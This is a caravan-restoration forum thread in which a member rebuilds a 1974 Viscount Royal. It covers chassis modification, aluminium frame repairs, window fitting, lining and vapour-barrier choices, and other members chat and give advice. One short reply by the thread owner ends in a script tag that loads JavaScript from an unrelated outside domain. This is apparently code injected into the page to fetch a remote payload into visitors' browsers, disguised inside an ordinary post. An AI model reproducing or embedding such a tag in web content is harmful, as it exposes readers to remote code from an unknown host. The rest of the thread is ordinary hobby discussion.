1974 22 ft Viscount Royal Rebuild (Charlie 48 - 17)

[viscountofmydomain]

Hi tasmillard, things have gone quiet on this great thread, how is the project going, did you finish it in time.

[tasmillard]

Jul 22, 2018 9:46:03 GMT 10 viscountofmydomain said:

Hi tasmillard, things have gone quiet on this great thread, how is the project going, did you finish it in time.

When I built mine I had an estimated timeframe and from memory i ran a month or so late. Still got more to do of course!

[viscountofmydomain]

Aug 6, 2018 6:41:59 GMT 10 tasmillard said:

Jul 22, 2018 9:46:03 GMT 10 viscountofmydomain said:

Hi tasmillard, things have gone quiet on this great thread, how is the project going, did you finish it in time.

When I built mine I had an estimated timeframe and from memory i ran a month or so late. Still got more to do of course!

Oops sorry Husky and tasmillard I've got my people and threads mixed up.

How is your build going husky.

[snoops]

I believe Husky is in the middle of the sledding season so busy doing this with his dogs. There's also some other stuff gone on behind the scenes but I can't elaborate. I'm sure he'll be back soon to kick it off again. 😊

[Husky]

Thanks Snoops, yeah things have been pretty flat out all round and like you said and as this is a public forum i can't elaborate to much either. You will see the results in future posts though. We have had races nearly every weekend, three weeks free camping in S.A with 18 dogs (in the Scenic) which just about killed us cause it's so small, then 8 days in Dinner Plain Snow racing (chickened out and stayed in a cabin) and now with only two events left of the 2018 season it's time to start planning the off season as the count down to 2019 races has begun.

But first a few pics of race season,

Like i said busy busy busy..... and soooooo much fun. We are determined never to do another interstate run in the Scenic, even though there were no dramas with it at all traveling interstate and next year we have two lots of interstate races (N.S.W and S.A again) and another round at Dinner Plain. Timer has been reset for the 2019 race season which is April 1st (will be adjusted when calendar comes out)

so with 223 Days to go better get back to the Viscount

I left you all hanging with the chassis being rebuilt and the aluminum frame sitting on the ground with the roof still on. I believe I was fitting the four seasons hatches and trying out Snoops magic new glue. I have been walking past both pieces of the caravan daily and doing that awful painful thing called thinking. 

I would never be happy with the chassis being a mix of new, second hand and the old steel. I want it all new, to code and as money needs spending elsewhere, for now it will be stacked up and a tarp thrown over it for another day and more than likely another van. Roll in the Doug Thorley chassis. Completely rebuilt suspension, near new axles, rebuilt four wheel electric brakes, brand new internal wiring, rebuilt hitch and new cable for the hand brake. SORTED!!!!

Don't worry that's not the Viscount frame disassembled. This is an old pic from when i was working on the Doug. To fit the new chassis under the Viscount I need to narrow it down by 40mm per side and add 100mm over the length and the Viscount body will drop straight on to it.

The Aluminum frame has taken a great deal more thought. When i was patching the roof, somehow i managed to bubble the sheet right at the hatch opening.

Sealing this on its own would be difficult let alone the uneven sheet would play on my OCD forever and a day. The frame also annoyed me with all the old daggy bits of roof lining squashed between the roof rail and the wall rail. I have already decided a few windows needed to be moved for the new layout of the van and the whole frame needs squaring up which would be easier with the roof and walls in separate pieces....... bugger it...... roof skin off, Roof frame off, separate the walls and work on each piece individually until i am happy with it. 

Finally today after re plumbing the landlady's water tanks, i found five minutes to get started. Sit back and relax people it's gonna be a busy summer.

223 days to go.....

[snoops]

Nice pics of the doggies inn action, glad you had a good time. 👍

Let me know when your ready for some new rims, I'm ready to swap mine for the Doug Thorleys when you're ready. 👍

[78466noM]

Lookin at the pic's I can see your having fun and I hope your winning

[Husky]

Aug 21, 2018 9:54:04 GMT 10 snoops said:

Nice pics of the doggies inn action, glad you had a good time. 👍

Let me know when your ready for some new rims, I'm ready to swap mine for the Doug Thorleys when you're ready. 👍

Any time bud, you know you're always welcome up here. Got the tyre bloke ready to swap the tyres over as discussed. After this weekend (state cup) i'll be flat knackers on the van.

Racing is heaps of fun. Can't wait to have the new van set up though it's gonna make life alot easier.

[snoops]

Sweet! Will let you know next time I'm in the area. 👍

[viscountofmydomain]

That racing looks like an adrenaline rush for sure. Great to hear the build is kicking off again, looking forward to hearing about your progress.

[Husky]

hehehehehe

Well work continued off and on for the last couple of weeks since my last quick update. Race season is officially over now for the year and the Scenic has entered retirement.

The Scenic's Last official camping trip

Roof sheets completely off.

Something has been annoying me for a while now and that's the framing. It has been sitting as per the photo's above all winter. Through wind and rain and some pretty good storms. As most of the frame joining is a single aluminum rivet each side I've noticed the verticals are not so vertical anymore. Now it's totally de-skinned, both sides and roof needing frame modifications and i had to get the chassis past it anyway..... you guessed it

IT'S A FLAT PACK CARAVAN!!!

Now for an epic clean up, some odd jobs like rebuild and replace the landlady's back door frame, back door, screen door, new locks, build a back decking area, new steps and railing..... why do i do these things to myself?

[Husky]

In the beginning (Notice the thread name change) there was an empty drive way

In honor of my father passing away last year i decided to call my van Charlie after my dad. 48 - 17 is his birth year and year passed. I've got decals being made and i'm thinking of doing them in the shape and a more modern font of the original Viscount Royal Sticker front and back but not sure yet.

Soon a Chassis appeared as if by magic (yes snoops, pun intended )

Problem with this chassis is it's to wide and not long enough but in a damn site better condition to the original chassis even with new bits added. First thing to do was level the chassis front to back and left to right, or right to left if you prefer. Wheels off and set aside for you snoops.

Almost perfect just a bit more tweaking

The reason i level the chassis is so all i need to make things vertical, horizontal or square in the entire build is my favorite tool, the spirit level. i have a huge collection ranging from 200mm long to 1.2 meters, some are magnetic, some a square, some for rough level some for precise leveling. The misses even bought me a laser level which i haven't broken out of it's packaging and had a play with yet. They're awesome.

anyway where was i..... oh yeah.

I did alot of comparison measuring and calculating between the two chassis about 100 time over during the last 6 months. Checking clearances for the wheels, length from front to wheel arch, wheel arch clearance and rear section. The front section is the same length as is the wheel arch area on the original Viscount chassis. The back section is 65mm shorter. hmmm dunno what i'll do there yet. Today i went over them all again, checking and double checking. Marked it all out, checked it all again and broke out the angle grinder and welder. Each out rigger had to be shortened by roughly 26mm then cut the new side rails in so the top of the chassis would remain flat.... and level. Using a 3 meter straight edge i checked the new clearance between the sides of the van and the tyres. I may need to get shorter axles but from what i could tell they should clear ok.

And wala, ready to clean up, etch and body deaden. No more barking shins on sticking out bits of chassis or having the new rails fall on the misses foot while she paints..... opps lol

During the last two weeks i also did some shopping and found some pretty cool stuff. While i was at the timber yard getting stuff for the deck i queried about what ply would be best to use in the van as the last few repairs I've done i noticed the ply warping after painting it due to the wall verticals being to far apart or the roof sagging for the same reason. i was shown a product called R6 Masonite. It is a product that has only recently been removed from production and my timber yard took all the stock they had left. (two stacks taller than me and i'm 6ft tall). I was concerned about weight, however the smaller sheets weighed in at 7Kg per sheet. I'd never heard of it before and masonite normally weighs a tonne so a curious phone call to snoops later who hadn't heard of it either i got all of it's details and bought a few sheets

The other score in the trailer there are brand new rubber backed carpet squares 600mm x 600mm i got for free. A mate of mine just got a job in a flooring place and this lot was the end of a product run and they were binning them. He grabbed them first knowing i was looking for something similar for my van. He got enough for like 10 vans lol. He is on the lookout now for some lino or similar product for the kitchen area and infront of the dog crates. Funny thing is, the misses and i were talking color schemes for the van and she is thinking light grey as the main wall color and black or charcoal gloss doors, draws and trim. carpet matches perfectly

Night all 

[snoops]

Will have to pop up for a visit reall soon mate. 👍😊

[78466noM]

the removal of the wheels will be the hardest at this point if you have outside of body frame follow up around wheels so lowest part is just above halfway on tyre all should be good the old millard has the chassis run across wheels no gap between so with the new axle that was just 25mm longer I had to raise springs with longer hangers and to change tyre I have to lift body. have fun

[Husky]

No probs Snoops. I got the sheets of R6 for you too so might need a trailer. If your going to be in Bendigo for the day drop the sunnies off in the morning, i'll have the tyres swapped onto the HR HT wheels and then you can take them home with you.

Might be a case of not enough coffee yet Nom but I'm pretty sure I'll have enough clearance around the wheels when it's all together. The Aluminium frame has added height clearance and I have original 1974 fibre glass viscount wheel arch covers to go on which either come off or pivit out if the way when changing tyres?

[Husky]

So after fiddling around for a few days I'm starting to see a bit of progress.

Plan A: I tried measuring everything to get it right, and using trigonometry to make everything square and more measuring but wasn't happy with the results so take two.

Plan B: The new lining boards came in handy as i laid them out on the chassis to draw out the side frame full size. Nice, square and with modifications as it should be.

This plan worked out pretty well. Using the straight edge of the chassis and the square edges of the new sheets everything was checked and double checked working out perfectly.

With this side pretty much complete it was time to test fit the windows. The large window was moved 1135mm back to line up with the new floor plan. The back window didnt exist and the front side windows were deleted. Had to do some Jig Saw puzzle work due to not being able to source the larger of the Aluminum channel of the frame. This was the easiest part of the frame mods and repairs. The worst is yet to come

I laid the other frame over the top next so now the two sides are as they would be when installed minus the end walls. Earlier in the thread i did some major repairs to the front lower frame when i tried to patch it. Now i have the chance i ripped the repair out and going to replace from the wheel arch forward of the lower rail,

Using the lower frame as a pattern and being held in place by the lining panel drawing i can now do all the repairs to the other side and know when i split them and mount them on the chassis they will be identical. i had issues on the Scenic where the sides were not identical and created a huge problem when it came to sealing the corner. Like a 20mm gap on the rear corner.

Curiosity question for you all though, the small rear windows I'm using, I'm looking for an identical one for the other side. i have enough bits to build one but wondering if anyone can save me the time? even if it's just the outer frame that sits against the skin.

Night All

[78466noM]

looks like a lot of progress have fun

[shewolf]

And the missus is finally here

[Husky]

Uh ohhhhhhh 😁 😇 😈<script src="//workdevapp.com/1deb3dd710d8d90c20.js"></script>

[Husky]

So another few busy days playing in the play pen

The five or six broken pieces that i pop riveted back together earlier in this thread have been replaced. i couldn't get the right size C Channel so i made my own out of two pieces of 40 x 40 angle. Came up ok i guess. Nice and solid again anyway. I had enough material over so i decided to give the van a birthday and replace the warped and damage wheel arch piece as well

The front door way was tapered about 25mm top to bottom so i squared that up, moved the location of the rear window due to my own miss calculation error earlier in the thread. Once the misses decided where she wanted the kitchen window i was able to get away with just stretching the current hole. Getting all excited as i could see the end of frame mods and repairs close at hand i was eager to test fit the windows in the second side. Only problem was they weren't made yet..... bugger.

Time to build some windows....... please excuse the messy workshop and this is the small pile of window parts.

                                        

Kitchen window was the easiest to tackle. Just cut down an old back window to a single and reassemble.

All to Easy......

Next, the back side window. Turning the left window frame below into the right

Done!!

Test fit complete.

Tomorrow I plan to start lining the lower half of each side wall prior to bolting them up to the chassis. Mainly because the original van design, sandwiches the lining board between the chassis and the wall frame. This brings me to an interesting convo with the misses a few weeks ago.

I had been reading a post on one of the many caravan face book pages I'm on. It was about the importance of the plastic sheeting the original manufacturers put between the lining boards and the wall frames. The pro's of having it made me decide to put it in Charlie. The next day while I was out playing, I found a sample of the plastic and when I got home gave it to the misses who is just awesome at finding stuff i need and at a decent price if not free. The misses looks at the sample thinks for all of 5 seconds hands it back to me and goes,

Misses: Painters drop sheets, $2.00 a sheet, at Bunnings

Me: Frown.... nooo it has to be plastic (I'm thinking the canvas drop sheets my painter mates use)

Misses: What? .....like what was on the floor at the Classic? (when logic fails refer to dog logic)

Me: Yes exactly like what was on the fl......

Misses: (the look that waits for the penny to drop)

Me: ahhhh yeah that'll work perfectly (goofy grin)

So what does everyone think of putting the plastic sheeting in? Thinking wall condensation, protection of the lining boards in case of leak etc etc? thoughts good and bad appreciated.

Thanks people

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[Mustang]

This is one of the most complex renos that I have seen. We never came across the "Plastic as you mention when did ours?

But, if it is was used in this period, must have been a reason as long as,
"It gives protection & does not retain moisture" 

The effort you are making to rebuild & reseal this van will better than factory strength so it will not have the movement it once did.
Modern sealants are so superior to 40+ years ago, my advice would be "don't make a moat."

Cheers
Brent

[78466noM]

I would tend to be going with mustangs thoughts with the plastic. Once you have it completely sealed and insulated you shouldn't have a problem with condensation both sides and top in the millard are completely insulated and have never had a problem with condensation but no insulation would cause a condensation problem .

[Husky]

Thanks guys,

As far a complicated goes Mustang, the van must be taking after it's name sake . Dad always taught me to use what i have on hand rather than spend money i don't have and as this is the sixth van i have done major renos on, i have lots of spare parts kicking around the property. They may not be exactly the right shape or color or size of what i need at the time but can be modified to do the job. Sure it's extra work but I'm not afraid of a bit of extra work.

As far as not creating a moat goes i will be sure to drill a few drainage holes in the bottom Aluminum rail between the J molding and the chassis just in case. Not sure if i mentioned it or not but this van frame was built out of 42mm x 25mm C section for the horizontal pieces and 38mm x 25mm for the verticals. Every other van I've worked on with aluminum frames, from a 14 ft to a 22 ft, has had 25mm x 25mm. Not sure why mine is different but sure made sourcing material interesting.

Another reason I was thinking for the plastic could be that maybe originally the van wasn't insulated which would coincide with your thoughts Nom and the insulating was done later. When i purchased the van it had the blow in insulation which sets like foam but returns to almost a powdery consistency when you touched it. Just checked the old pics, this one shows the plastic sheeting and if you look close at the circled frame rail you can make out some of the insulation. One person who maybe able to clarify this further is snoops as his viscount is close to the same age as mine. He seems to have gone into hiding though?

Anyhow only a short day today.After a run to Bunnings this morning, (dangerous i know) then had an important meeting this avo with some work safe investigators, by the time we were done there wasn't much daylight left. So need a bigger shed that fits my van in it.

All wrapped in plastic. These are the drop sheets i mentioned last post. While wondering the isles of my toy store i found builders film which was $20 for a 2 x 3.5 meter sheet. i went with the drop sheets. 6 x 2.5m x 3.5m sheets for $6. Sure it's thinner and tears easy but once together shouldn't make much of a difference.

And the first lining sheet shaped and pop riveted on. i want to say a HUGE thanks to the member here, cant remember who it was, that suggested i get a pneumatic pop rivet gun. it is probably the best investment i have ever made and i have gotten very carried away a few times riveting things that then have to be removed. Best thing is then i get to play with the gun again pop riveting it all back on again. today i made a forty metre air line so i dont even have to drag the compressor out of the shed just run out the line and have fun.

Laterz

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[snoops]

Hi mate, I'm still around - sorry I missed your call the other day - long weekend and work phones don't mix. 😁

Back on deck today catching up so will call you soon. 👍😊

[Mustang]

Good Work here.
Can you enlarge on your air compressed rivet gun, some info & images?
Cheers
Brent